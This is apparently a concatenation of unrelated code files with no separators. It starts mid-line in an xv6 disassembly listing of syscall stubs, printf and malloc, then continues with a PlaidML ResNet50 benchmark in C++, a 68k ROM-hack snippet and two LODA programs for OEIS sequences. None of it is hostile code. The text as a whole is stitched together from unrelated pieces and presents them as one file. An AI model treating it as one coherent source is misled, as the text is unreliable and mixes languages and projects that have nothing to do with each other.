$SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <sbrk>: SYSCALL(sbrk) 32a: b8 0c 00 00 00 mov $0xc,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleep>: SYSCALL(sleep) 332: b8 0d 00 00 00 mov $0xd,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <uptime>: SYSCALL(uptime) 33a: b8 0e 00 00 00 mov $0xe,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <abdur_rouf>: SYSCALL(abdur_rouf) 342: b8 16 00 00 00 mov $0x16,%eax 347: cd 40 int $0x40 349: c3 ret 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 53 push %ebx 356: 89 c6 mov %eax,%esi 358: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 35b: 8b 5d 08 mov 0x8(%ebp),%ebx 35e: 85 db test %ebx,%ebx 360: 74 7e je 3e0 <printint+0x90> 362: 89 d0 mov %edx,%eax 364: c1 e8 1f shr $0x1f,%eax 367: 84 c0 test %al,%al 369: 74 75 je 3e0 <printint+0x90> neg = 1; x = -xx; 36b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 36d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 374: f7 d8 neg %eax 376: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 379: 31 ff xor %edi,%edi 37b: 8d 5d d7 lea -0x29(%ebp),%ebx 37e: 89 ce mov %ecx,%esi 380: eb 08 jmp 38a <printint+0x3a> 382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 388: 89 cf mov %ecx,%edi 38a: 31 d2 xor %edx,%edx 38c: 8d 4f 01 lea 0x1(%edi),%ecx 38f: f7 f6 div %esi 391: 0f b6 92 2c 07 00 00 movzbl 0x72c(%edx),%edx }while((x /= base) != 0); 398: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 39a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 39d: 75 e9 jne 388 <printint+0x38> if(neg) 39f: 8b 45 c4 mov -0x3c(%ebp),%eax 3a2: 8b 75 c0 mov -0x40(%ebp),%esi 3a5: 85 c0 test %eax,%eax 3a7: 74 08 je 3b1 <printint+0x61> buf[i++] = '-'; 3a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 3ae: 8d 4f 02 lea 0x2(%edi),%ecx 3b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 3b5: 8d 76 00 lea 0x0(%esi),%esi 3b8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3bb: 83 ec 04 sub $0x4,%esp 3be: 83 ef 01 sub $0x1,%edi 3c1: 6a 01 push $0x1 3c3: 53 push %ebx 3c4: 56 push %esi 3c5: 88 45 d7 mov %al,-0x29(%ebp) 3c8: e8 f5 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3cd: 83 c4 10 add $0x10,%esp 3d0: 39 df cmp %ebx,%edi 3d2: 75 e4 jne 3b8 <printint+0x68> putc(fd, buf[i]); } 3d4: 8d 65 f4 lea -0xc(%ebp),%esp 3d7: 5b pop %ebx 3d8: 5e pop %esi 3d9: 5f pop %edi 3da: 5d pop %ebp 3db: c3 ret 3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 3e0: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3e9: eb 8b jmp 376 <printint+0x26> 3eb: 90 nop 3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000003f0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3f6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3f9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3fc: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3ff: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 402: 89 45 d0 mov %eax,-0x30(%ebp) 405: 0f b6 1e movzbl (%esi),%ebx 408: 83 c6 01 add $0x1,%esi 40b: 84 db test %bl,%bl 40d: 0f 84 b0 00 00 00 je 4c3 <printf+0xd3> 413: 31 d2 xor %edx,%edx 415: eb 39 jmp 450 <printf+0x60> 417: 89 f6 mov %esi,%esi 419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 420: 83 f8 25 cmp $0x25,%eax 423: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 426: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 42b: 74 18 je 445 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 42d: 8d 45 e2 lea -0x1e(%ebp),%eax 430: 83 ec 04 sub $0x4,%esp 433: 88 5d e2 mov %bl,-0x1e(%ebp) 436: 6a 01 push $0x1 438: 50 push %eax 439: 57 push %edi 43a: e8 83 fe ff ff call 2c2 <write> 43f: 8b 55 d4 mov -0x2c(%ebp),%edx 442: 83 c4 10 add $0x10,%esp 445: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 448: 0f b6 5e ff movzbl -0x1(%esi),%ebx 44c: 84 db test %bl,%bl 44e: 74 73 je 4c3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 450: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 452: 0f be cb movsbl %bl,%ecx 455: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 458: 74 c6 je 420 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 45a: 83 fa 25 cmp $0x25,%edx 45d: 75 e6 jne 445 <printf+0x55> if(c == 'd'){ 45f: 83 f8 64 cmp $0x64,%eax 462: 0f 84 f8 00 00 00 je 560 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 468: 81 e1 f7 00 00 00 and $0xf7,%ecx 46e: 83 f9 70 cmp $0x70,%ecx 471: 74 5d je 4d0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 473: 83 f8 73 cmp $0x73,%eax 476: 0f 84 84 00 00 00 je 500 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 47c: 83 f8 63 cmp $0x63,%eax 47f: 0f 84 ea 00 00 00 je 56f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 485: 83 f8 25 cmp $0x25,%eax 488: 0f 84 c2 00 00 00 je 550 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 48e: 8d 45 e7 lea -0x19(%ebp),%eax 491: 83 ec 04 sub $0x4,%esp 494: c6 45 e7 25 movb $0x25,-0x19(%ebp) 498: 6a 01 push $0x1 49a: 50 push %eax 49b: 57 push %edi 49c: e8 21 fe ff ff call 2c2 <write> 4a1: 83 c4 0c add $0xc,%esp 4a4: 8d 45 e6 lea -0x1a(%ebp),%eax 4a7: 88 5d e6 mov %bl,-0x1a(%ebp) 4aa: 6a 01 push $0x1 4ac: 50 push %eax 4ad: 57 push %edi 4ae: 83 c6 01 add $0x1,%esi 4b1: e8 0c fe ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ba: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4bd: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4bf: 84 db test %bl,%bl 4c1: 75 8d jne 450 <printf+0x60> putc(fd, c); } state = 0; } } } 4c3: 8d 65 f4 lea -0xc(%ebp),%esp 4c6: 5b pop %ebx 4c7: 5e pop %esi 4c8: 5f pop %edi 4c9: 5d pop %ebp 4ca: c3 ret 4cb: 90 nop 4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 4d0: 83 ec 0c sub $0xc,%esp 4d3: b9 10 00 00 00 mov $0x10,%ecx 4d8: 6a 00 push $0x0 4da: 8b 5d d0 mov -0x30(%ebp),%ebx 4dd: 89 f8 mov %edi,%eax 4df: 8b 13 mov (%ebx),%edx 4e1: e8 6a fe ff ff call 350 <printint> ap++; 4e6: 89 d8 mov %ebx,%eax 4e8: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4eb: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 4ed: 83 c0 04 add $0x4,%eax 4f0: 89 45 d0 mov %eax,-0x30(%ebp) 4f3: e9 4d ff ff ff jmp 445 <printf+0x55> 4f8: 90 nop 4f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 500: 8b 45 d0 mov -0x30(%ebp),%eax 503: 8b 18 mov (%eax),%ebx ap++; 505: 83 c0 04 add $0x4,%eax 508: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 50b: b8 24 07 00 00 mov $0x724,%eax 510: 85 db test %ebx,%ebx 512: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 515: 0f b6 03 movzbl (%ebx),%eax 518: 84 c0 test %al,%al 51a: 74 23 je 53f <printf+0x14f> 51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 520: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 523: 8d 45 e3 lea -0x1d(%ebp),%eax 526: 83 ec 04 sub $0x4,%esp 529: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 52b: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 52e: 50 push %eax 52f: 57 push %edi 530: e8 8d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 535: 0f b6 03 movzbl (%ebx),%eax 538: 83 c4 10 add $0x10,%esp 53b: 84 c0 test %al,%al 53d: 75 e1 jne 520 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 53f: 31 d2 xor %edx,%edx 541: e9 ff fe ff ff jmp 445 <printf+0x55> 546: 8d 76 00 lea 0x0(%esi),%esi 549: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 550: 83 ec 04 sub $0x4,%esp 553: 88 5d e5 mov %bl,-0x1b(%ebp) 556: 8d 45 e5 lea -0x1b(%ebp),%eax 559: 6a 01 push $0x1 55b: e9 4c ff ff ff jmp 4ac <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 560: 83 ec 0c sub $0xc,%esp 563: b9 0a 00 00 00 mov $0xa,%ecx 568: 6a 01 push $0x1 56a: e9 6b ff ff ff jmp 4da <printf+0xea> 56f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 572: 83 ec 04 sub $0x4,%esp 575: 8b 03 mov (%ebx),%eax 577: 6a 01 push $0x1 579: 88 45 e4 mov %al,-0x1c(%ebp) 57c: 8d 45 e4 lea -0x1c(%ebp),%eax 57f: 50 push %eax 580: 57 push %edi 581: e8 3c fd ff ff call 2c2 <write> 586: e9 5b ff ff ff jmp 4e6 <printf+0xf6> 58b: 66 90 xchg %ax,%ax 58d: 66 90 xchg %ax,%ax 58f: 90 nop 00000590 <free>: static Header base; static Header *freep; void free(void *ap) { 590: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 591: a1 d0 09 00 00 mov 0x9d0,%eax static Header base; static Header *freep; void free(void *ap) { 596: 89 e5 mov %esp,%ebp 598: 57 push %edi 599: 56 push %esi 59a: 53 push %ebx 59b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 59e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 5a0: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5a3: 39 c8 cmp %ecx,%eax 5a5: 73 19 jae 5c0 <free+0x30> 5a7: 89 f6 mov %esi,%esi 5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 5b0: 39 d1 cmp %edx,%ecx 5b2: 72 1c jb 5d0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5b4: 39 d0 cmp %edx,%eax 5b6: 73 18 jae 5d0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 5b8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5ba: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5bc: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5be: 72 f0 jb 5b0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5c0: 39 d0 cmp %edx,%eax 5c2: 72 f4 jb 5b8 <free+0x28> 5c4: 39 d1 cmp %edx,%ecx 5c6: 73 f0 jae 5b8 <free+0x28> 5c8: 90 nop 5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 5d0: 8b 73 fc mov -0x4(%ebx),%esi 5d3: 8d 3c f1 lea (%ecx,%esi,8),%edi 5d6: 39 d7 cmp %edx,%edi 5d8: 74 19 je 5f3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 5da: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 5dd: 8b 50 04 mov 0x4(%eax),%edx 5e0: 8d 34 d0 lea (%eax,%edx,8),%esi 5e3: 39 f1 cmp %esi,%ecx 5e5: 74 23 je 60a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 5e7: 89 08 mov %ecx,(%eax) freep = p; 5e9: a3 d0 09 00 00 mov %eax,0x9d0 } 5ee: 5b pop %ebx 5ef: 5e pop %esi 5f0: 5f pop %edi 5f1: 5d pop %ebp 5f2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 5f3: 03 72 04 add 0x4(%edx),%esi 5f6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 5f9: 8b 10 mov (%eax),%edx 5fb: 8b 12 mov (%edx),%edx 5fd: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 600: 8b 50 04 mov 0x4(%eax),%edx 603: 8d 34 d0 lea (%eax,%edx,8),%esi 606: 39 f1 cmp %esi,%ecx 608: 75 dd jne 5e7 <free+0x57> p->s.size += bp->s.size; 60a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 60d: a3 d0 09 00 00 mov %eax,0x9d0 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 612: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 615: 8b 53 f8 mov -0x8(%ebx),%edx 618: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 61a: 5b pop %ebx 61b: 5e pop %esi 61c: 5f pop %edi 61d: 5d pop %ebp 61e: c3 ret 61f: 90 nop 00000620 <malloc>: return freep; } void* malloc(uint nbytes) { 620: 55 push %ebp 621: 89 e5 mov %esp,%ebp 623: 57 push %edi 624: 56 push %esi 625: 53 push %ebx 626: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 629: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 62c: 8b 15 d0 09 00 00 mov 0x9d0,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 632: 8d 78 07 lea 0x7(%eax),%edi 635: c1 ef 03 shr $0x3,%edi 638: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 63b: 85 d2 test %edx,%edx 63d: 0f 84 a3 00 00 00 je 6e6 <malloc+0xc6> 643: 8b 02 mov (%edx),%eax 645: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 648: 39 cf cmp %ecx,%edi 64a: 76 74 jbe 6c0 <malloc+0xa0> 64c: 81 ff 00 10 00 00 cmp $0x1000,%edi 652: be 00 10 00 00 mov $0x1000,%esi 657: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 65e: 0f 43 f7 cmovae %edi,%esi 661: ba 00 80 00 00 mov $0x8000,%edx 666: 81 ff ff 0f 00 00 cmp $0xfff,%edi 66c: 0f 46 da cmovbe %edx,%ebx 66f: eb 10 jmp 681 <malloc+0x61> 671: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 678: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 67a: 8b 48 04 mov 0x4(%eax),%ecx 67d: 39 cf cmp %ecx,%edi 67f: 76 3f jbe 6c0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 681: 39 05 d0 09 00 00 cmp %eax,0x9d0 687: 89 c2 mov %eax,%edx 689: 75 ed jne 678 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 68b: 83 ec 0c sub $0xc,%esp 68e: 53 push %ebx 68f: e8 96 fc ff ff call 32a <sbrk> if(p == (char*)-1) 694: 83 c4 10 add $0x10,%esp 697: 83 f8 ff cmp $0xffffffff,%eax 69a: 74 1c je 6b8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 69c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 69f: 83 ec 0c sub $0xc,%esp 6a2: 83 c0 08 add $0x8,%eax 6a5: 50 push %eax 6a6: e8 e5 fe ff ff call 590 <free> return freep; 6ab: 8b 15 d0 09 00 00 mov 0x9d0,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6b1: 83 c4 10 add $0x10,%esp 6b4: 85 d2 test %edx,%edx 6b6: 75 c0 jne 678 <malloc+0x58> return 0; 6b8: 31 c0 xor %eax,%eax 6ba: eb 1c jmp 6d8 <malloc+0xb8> 6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 6c0: 39 cf cmp %ecx,%edi 6c2: 74 1c je 6e0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 6c4: 29 f9 sub %edi,%ecx 6c6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6c9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6cc: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 6cf: 89 15 d0 09 00 00 mov %edx,0x9d0 return (void*)(p + 1); 6d5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 6d8: 8d 65 f4 lea -0xc(%ebp),%esp 6db: 5b pop %ebx 6dc: 5e pop %esi 6dd: 5f pop %edi 6de: 5d pop %ebp 6df: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 6e0: 8b 08 mov (%eax),%ecx 6e2: 89 0a mov %ecx,(%edx) 6e4: eb e9 jmp 6cf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 6e6: c7 05 d0 09 00 00 d4 movl $0x9d4,0x9d0 6ed: 09 00 00 6f0: c7 05 d4 09 00 00 d4 movl $0x9d4,0x9d4 6f7: 09 00 00 base.s.size = 0; 6fa: b8 d4 09 00 00 mov $0x9d4,%eax 6ff: c7 05 d8 09 00 00 00 movl $0x0,0x9d8 706: 00 00 00 709: e9 3e ff ff ff jmp 64c <malloc+0x2c>
// Copyright 2020, Intel Corporation #include "benchmark/benchmark.h" #include "networks/oplib/oplib.h" #include "plaidml/exec/exec.h" #include "plaidml/op/op.h" #include "pmlc/util/logging.h" namespace networks::oplib { struct resnet50 : public benchmark::Fixture {}; BENCHMARK_DEFINE_F(resnet50, compile)(benchmark::State& state) { // NOLINT[runtime/references] auto program = buildResnet50(); for (auto _ : state) { program.compile(); auto exe = plaidml::exec::Executable(program); (void)exe; } } BENCHMARK_DEFINE_F(resnet50, run)(benchmark::State& state) { // NOLINT[runtime/references] auto program = buildResnet50(); program.compile(); auto exe = plaidml::exec::Executable(program); std::vector<plaidml::Buffer> inputs; for (const plaidml::TensorShape& shape : program.inputs()) { inputs.emplace_back(shape); } std::vector<plaidml::Buffer> outputs; for (const plaidml::TensorShape& shape : program.outputs()) { outputs.emplace_back(shape); } for (auto _ : state) { exe.run(inputs, outputs); } state.SetItemsProcessed(state.iterations()); } BENCHMARK_REGISTER_F(resnet50, compile)->Unit(benchmark::kMillisecond); // TODO: get HAL timer results, UseManualTime() instead of UseRealTime() BENCHMARK_REGISTER_F(resnet50, run)->Unit(benchmark::kMillisecond)->UseRealTime(); } // namespace networks::oplib int main(int argc, char** argv) { plaidml::init(); plaidml::edsl::init(); plaidml::op::init(); plaidml::exec::init(); benchmark::Initialize(&argc, argv); if (benchmark::ReportUnrecognizedArguments(argc, argv)) { return 1; } benchmark::RunSpecifiedBenchmarks(); return 0; }
copyright zengfr site:http://github.com/zengfr/romhack 08BEB6 move.b D0, ($338d,A5) 08BEBA move.b D0, ($350d,A5) 08BEBE move.b D0, ($368d,A5) 08BEC2 move.w D0, ($b0,A6) 08C352 move.b #$3d, ($119,A0) 08C358 move.b ($a0,A0), D0 [123p+119] 08C37C subq.b #1, ($119,A0) 08C380 tst.b D6 [123p+119] copyright zengfr site:http://github.com/zengfr/romhack
; A172137: Number of ways to place 2 nonattacking zebras on an n X n board ; 0,6,36,112,276,582,1096,1896,3072,4726,6972,9936,13756,18582,24576,31912,40776,51366,63892,78576,95652,115366,137976,163752,192976,225942,262956,304336,350412,401526,458032,520296,588696,663622,745476,834672,931636,1036806,1150632,1273576,1406112,1548726,1701916,1866192,2042076,2230102,2430816,2644776,2872552,3114726,3371892,3644656,3933636,4239462,4562776,4904232,5264496,5644246,6044172,6464976,6907372,7372086,7859856,8371432,8907576,9469062,10056676,10671216,11313492,11984326,12684552 mov $3,$0 mov $4,$0 lpb $3 mov $0,$4 sub $3,1 sub $0,$3 mov $7,$0 mov $8,0 mov $9,$0 lpb $7 mov $0,$9 sub $7,1 sub $0,$7 mov $5,$0 mul $5,$0 mov $2,$5 mov $6,6 mul $6,$5 lpb $2 mov $2,7 sub $6,8 lpe add $8,$6 lpe add $1,$8 lpe mov $0,$1
; A090139: a(n) = 10*a(n-1) - 20*a(n-2), a(0)=1,a(1)=5. ; Submitted by Jamie Morken(s3.) ; 1,5,30,200,1400,10000,72000,520000,3760000,27200000,196800000,1424000000,10304000000,74560000000,539520000000,3904000000000,28249600000000,204416000000000,1479168000000000,10703360000000000,77450240000000000,560435200000000000,4055347200000000000,29344768000000000000,212340736000000000000,1536512000000000000000,11118305280000000000000,80452812800000000000000,582162022400000000000000,4212563968000000000000000,30482399232000000000000000,220572712960000000000000000,1596079144960000000000000000 mov $1,-5 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $1,$2 sub $2,$1 mul $1,10 lpe mov $0,$2
